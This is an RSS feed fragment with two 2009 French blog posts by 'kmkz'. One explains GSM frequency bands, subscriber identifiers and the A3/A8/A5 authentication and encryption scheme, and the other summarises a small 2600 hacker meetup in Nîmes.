<item><title>Réseaux GSM : chapitre II</title><description>Secuobs.com : 2009-05-31 19:52:55 - kmkz's blog - Salut , me revoila , je poursuis mon aventure Cette fois -ci nous allons nous intérésser a des choses bien pluspassionante fallait bien avoir les bases avant quand meme , chaquechoses en son temp :-P Allez , c'est reparti :+ Etude simplifiée des fréquences de travail du GSM :Le systeme GSM/DCS utilise 2 fréquences :une autour des 900 MHz GSM et l’autre autour de 1,8 GHz DCSChacune est elle meme divisée en 2 sous bandes servantent l’une pourle transfert d’informations entre le mobile et la station de base voie montante  , et l’autre pour la liaison entre la station de baseet le mobile  voie descendante  :# bande EGSM étendue  bande de largeur totale 35 MHz - de 880 à 915 MHz du mobile vers la base voie montante- de 925 à 960 MHz de la base vers le mobile voie descendante+ écart entre les deux fréquences: 45 MHz- 174 canaux espacés de 200 kHz# bande DCS  bande de largeur totale 75 MHz - de 1710 à 1785 MHz du mobile vers la base voie montante- de 1805 à 1880 MHz de la base vers le mobile voie descendante+ écart entre les deux fréquences: 95 MHz- 374 canaux espacés de 200 kHzL'utilisation de fréquences moins élevées augmenterait sensiblement laportée des stations de baseAinsi en 450 MHz, leur portée serait près du double de ce qu'elleserait en 900 MHzEricsson et Nokia travaillent à la mise au point d'une norme GSMfonctionnant en 450 MHz ou en 480 MHzDans la bande 450, les fréquences utilisées seraient 450,4 à 457,6 MHzpour les liaisons montantes GSM vers station de base et 460,4 à467,6 MHz pour les liaisons descendantesUne BTS émet en permanence des informations sur son canal BCHBroadcast Channel appelé aussi voie balise constituant ainsi un lienpermanent entre mobile et station de base à partir de la mise en routedu mobile jusqu’à sa mise hors service, qu’il soit en communication ounon+ Adresssage , Confidentialité et Sécurité de la transmission sur lavoie radio interface Um:-Pré-requis:1 IMSI :*Numéro identité d'abonné se trouvant dans la SIM d'une part et dansla HLR d'autre part logiqueIMSI n'est connu qu'a l'intérieur du réseau GSM et doit  autant quepossible rester secrete d'ou l'utilisation de TMSI2 TMSI :*Identifiant temporaire codé sur 4 Octets modifié a chaque changementde zone gérer pas un VLR Le TMSI est utilisé pour identifier le mobile appelé ou appelant lorsde l’établissement d’une communication 3 MSISDN :*Numéro de l'abonné  C'est la seule donnée concernant l'identitée del'abonné connu hors réseaux GSM 4 MSRN :*Numéro attribué lors de l'établissement d'un appel permettantd'acheminer les appels via les commutateurs MSC5 IMEI :*Numéro d'équipement mis en mémoire dans le portable a la fabrication, c'est donc l'identifiant de l'appareil L'IMSI est transmis a la mise sous tension du mobile afin d'éviter del'emmettre fréquemment de cette maniere il est plus difficile del'intercepterUne fois l'IMSI transmis , les TMSI successives du mobile seronttransmises Ce n’est qu’en cas de perte du TMSI ou lorsque le VLRcourant ne la reconnaît pas par exemple après une panne que l’IMSIpeut être retransmiseEn cas d'echec lors de la vérification d'un de ces identifiants ,oninterdit l'accés aux servicesL’allocation d’une nouvelle TMSI est faite au minimum à chaquechangement de VLR, et suivant le choix de l’opérateur, à chaqueintervention du mobile Son envoi à la station mobile a lieu en modechiffré * Le chiffrement GSM sur la voie radio interface Um:Pour assurer la confidentialité de leurs abonnés , les opérateurs ontrecours au éléments suivant :-Nombres aléatoire RAND 128 Bits-une clée appellée Ki 128 Bits pour l'authentification et lacréation d'une seconde clée Kc  en 64 Bits la clée Ki,stockée dansla carte SIM et dans l'AUC coté réseaux , est attribuée lors del'abonnement avec l'IMSI-un algorithme A3 fournissant le nombre SRES 32 Bits à partir desarguments de RAND et de la clé Ki contruction SRES-un algorithme A8 pour la détermination de la clé Kc à partir desarguments de RAND et Ki construction clée Kc-un algorithme A5 pour le chiffrement / déchiffrement des données àpartir de la clé Kc chiffrement a proprement parléChaque abonné utilise une clé Ki propreLes algorithmes A3, A5 et A8 sont quant à eux les mêmes pour tous lesabonnés d’un même réseau-- Schéma Simplifié --RAND128Bits -SRES=A3Rand128Bits,Ki128Bits -Kc=A8Rand128Bits,Ki128 Bits - N° de Trames en 22 Bits, CléeKc64 Bits - Algorithme A5 - Trames ChiffréesLe centre d’authentification AUC stocke ainsi :-l’algorithme d’authentification A3,-l’algorithme de génération de la clé de chiffrement A8-les clés Ki des différents abonnés du réseau GSMLe HLR stocke les Kc, RAND, SRES pour chaque IMSIDans le VLR les Kc, RAND, SRES sont enregistrés pour chaque IMSIavec les couples TMSI - IMSI La BTS quand a elle ,stocke l’algorithme de chiffrement A5 pour lesdonnées usager et pour les données de signalisationLa station mobile MS quand a elle , contient dans la carte SIM del’abonné : l’algorithme d’authentification A3, l’algorithme dechiffrement A5, l’algorithme de génération des clés de chiffrementsA8, la clé d’authentification individuelle de l’utilisateur Ki, la cléde chiffrement Kc, le numéro de séquence de la clé de chiffrement etle TMSIVoila actuellement ou j'en suis , je pense que maintenant il commencea y avoir matière a réflexions et par conséquent je vous donnerendez-vous ici d'ici quelques temps pour de nouvelles aventures quij'espère vous plaisent et vous permettent autant qu'a moi de découvrirde nouvelles choses Cya oLiens utiles:http://frwikipediaorg/wiki/A5/1http://internetmobilefalornifr/publications/securite-architecture-gsm/IMAGE</description><link>http://www.secuobs.com/revue/news/104102.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/104102.shtml</guid></item>
<item><title>Résumé du 2600 Nîmes du Samedi 04 Avril</title><description>Secuobs.com : 2009-05-31 19:52:55 - kmkz's blog - Le rendez-vous avait lieu a 14h devant un centre commercial en centreville le temp que tout le monde soit présent et hop , direction unpetit bistro simpa pour lancer ce petit meet Les discussions se sont trés vite dirigées sur Hadopi avec une petitevidéo simpathique a l'appuis , l'actualité et les moyens alternatifsconcernants le P2P entre autre, l'avenir de freenet , silc enfin, divers moyens de communications et partages sécurisésAprés quelques cafés, nous abordons l'insécurité de certains moyens depaiement en ligne puis au moment ou les bieres arrivent a notre table,retour sur l'anonymat avec une breve présentation sur l'ip spoofingvia un petit utilitaire Viens ensuite l'architecture des réseaux de téléphonie mobile ,lephreaking gsm nous poursuivons par Hebiko qui nous présente de la docintéréssante sur le carding De fil en aiguille les discours s'enchainent , documents a l'appuisjusqu'a la fin de ce petit meet fort sympathique malgrés le petitcomité présent 4personnesEnfin ,nous nous dirigeons vers la sortie avec un petit " au moisprochain " qui fait plaisir a entendre pour ce 2k6 Nîmois qui peu etrecommencerait a prendre  Espérons-le :-} IMAGE</description><link>http://www.secuobs.com/revue/news/104101.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/104101.shtml</guid></item>
</channel>
</rss>
 
